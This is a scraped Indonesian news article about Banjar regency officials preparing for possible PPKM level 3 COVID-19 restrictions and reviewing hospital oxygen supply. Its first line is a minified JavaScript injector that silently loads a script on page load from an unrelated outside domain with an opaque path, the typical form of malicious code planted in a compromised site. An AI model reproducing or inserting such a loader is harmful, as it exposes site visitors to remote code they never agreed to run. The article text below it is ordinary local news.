(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar menyiapkan kemungkinan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 3.
Hal ini mengemuka dalam rapat koordinasi mingguan yang dilaksanakan pada Senin (26/7/2021) di Mahligai Sultan Adam Martapura.
Rapat Koordinasi dipimpin Bupati Banjar H Saidi Mansyur didampingi Wakil Bupati Banjar Said Idrus Al Habsyie, Sekda Banjar HM Hilman dan perwakilan SKPD Kabupaten Banjar dan seluruh camat se Kabupaten Banjar.
Sebagaimana diketahui, Kabupaten Banjar berbatasan dengan dua kota di Provinsi Kalimantan Selatan yang mulai menerapkan PPKM level 4.
Rakor mingguan yang rutin digelar setiap Senin diawali dengan penandatanganan surat pernyataan komitmen pelaksanaan reformasi birokrasi oleh Kepala Dinas Kependudukan dan Catatan Sipil Kabupaten Banjar kepada Inspektur Kabupaten Banjar, Dinas Lingkungan Hidup Kabupaten Banjar dan Dinas Perpustakaan dan Kearsipan Kabupaten Banjar.
Bupati Banjar H Saidi Mansyur menginstruksikan agar diharapkan akhir RPJMD dapat 80% tercapai untuk reformasi birokrasi.
Bupati menyinggung terkait perlunya menyiapkan diri kemungkinan pemberlakuan PPKM level 3 di Kabupaten Banjar. Saidi Mansyur meminta laporan ketersedian tabung oksigen dan rawat inap di Rumah Sakit Ratu Zalecha dan rumah sakit lainnya di Kabupaten Banjar.
“Bagaimana kesiapan kita melingkupi berbagai kebutuhan pasien Covid-19, termasuk ketersediaan oksigen di rumah sakit,” ujarnya.
Baca juga: STOP PRESS. PPKM Level 4 di Banjarbaru Dimulai, Ini Aturan Lengkapnya!
Sementara itu, Kepala Dinas Kesehatan Kabupaten Banjar dr Diauddin menjelaskan, mengenai situasi kasus aktif Covid saat ini ada 321 orang yang dirawat di RSUD Ratu Zalecha.
Sedangkan ketersediaan oksigen masih ada dan cukup stabil untuk 12 kecamatan di Kabupaten Banjar yang masuk zona merah.
Seperti diketahui berdasarkan Inmendagri Nomor 23 Tahun 2021, PPKM level 3 diberlakukan pembatasan-pembatasan kegiatan masyarakat. Pemkab Banjar belum memutuskan bagaimana pembatasan yang akan dilakukan, namun akan dibicarakan dalam rapat lanjutan. (kanalkalimantan.com/mcbanjar)
Editor: kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.